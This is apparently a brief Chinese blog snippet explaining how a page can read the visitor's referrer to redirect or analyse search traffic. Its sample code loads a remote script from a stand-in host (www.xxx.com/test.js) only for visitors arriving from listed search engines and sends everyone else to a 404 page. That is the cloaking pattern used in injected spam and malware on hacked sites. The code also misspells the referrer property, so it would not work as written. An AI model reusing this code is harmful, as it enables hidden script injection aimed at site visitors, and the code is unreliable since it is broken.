比如通过百度搜索进入到你的网站,则document.referer的值就为百度搜索的URL,通过判断来路我们可以进行跳转,分析查询关键字等操作。
比如一个跳转的代码如下:
today=new Date(); today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate(); var regexp=/\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(\.[a-z0-9\-]+){1,2}\//ig; var where =document.referer; if(regexp.test(where)){ document.write ('<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script>'); } else { window.location.href="../../404.htm"; }
暂无评论